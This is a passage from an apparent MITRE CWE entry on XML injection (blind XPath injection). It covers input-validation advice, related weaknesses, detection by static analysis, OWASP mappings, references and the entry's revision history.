Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 652 Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 137 Data Neutralization Issues
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 713 OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 727 OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 810 OWASP Top Ten 2010 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 929 OWASP Top Ten 2013 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1027 OWASP Top Ten 2017 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1409 Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

Research Gap

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

Maintenance

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER XML injection (aka Blind Xpath injection)
OWASP Top Ten 2007 A2 CWE More Specific Injection Flaws
OWASP Top Ten 2004 A6 CWE More Specific Injection Flaws
WASC 23 XML Injection
Software Fault Patterns SFP24 Tainted input to command
+ References
[REF-882] Amit Klein. "Blind XPath Injection". 2004-05-19. <https://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "XML Injection", Page 1069. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14 CWE Content Team MITRE
updated Maintenance_Notes, Other_Notes, Theoretical_Notes
2010-02-16 CWE Content Team MITRE
updated Taxonomy_Mappings
2010-06-21 CWE Content Team MITRE
updated Description, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Page Last Updated: November 14, 2024